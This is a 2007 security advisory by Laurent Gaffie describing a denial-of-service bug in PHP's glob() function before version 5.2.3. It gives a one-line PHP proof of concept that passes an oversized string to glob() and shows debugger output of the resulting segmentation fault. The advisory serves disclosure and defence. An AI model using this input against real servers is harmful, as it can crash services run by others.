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php523-glob.txt

php523-glob.txt
Posted Sep 6, 2007
Authored by laurent gaffie

PHP versions below 5.2.3 are susceptible to a denial of service condition in glob().

tags | advisory, denial of service, php
SHA-256 | caf68498728fc1f3d39b6272b24a0f675492f10065e7239dceac0dfb10e42275

php523-glob.txt

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Application: PHP < 5.2.3
Web Site: http://php.net
Platform: unix
Bug: denial of service
fonction: glob()
special condition:default php memory-limit value
===========

1) Introduction
2) Bug
3) Proof of concept
4) greets
5) Credits
===========
1) Introduction
===========

"PHP is a widely-used general-purpose scripting language that
is especially suited for Web development and can be embedded into HTML."

======
2) Bug
======

glob() is vulnerable to a denial of service

=====
3)Proof of concept
=====

Proof of concept example :
<?php
glob(str_repeat("A", 9638013));
?>

result:
(gdb) run ./3.php

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1215031616 (LWP 11156)]
0xb79d3a5a in globfree () from /lib/tls/i686/cmov/libc.so.6


========
4)Greets
========
Ivanlef0u,Deimos,benji,soh
,and everyones on worldnet: #futurezone &
#nibbles

=====
5)Credits
=====

Laurent gaffie
contact : laurent.gaffie@gmail.com
stay tuned, site comming soon ....
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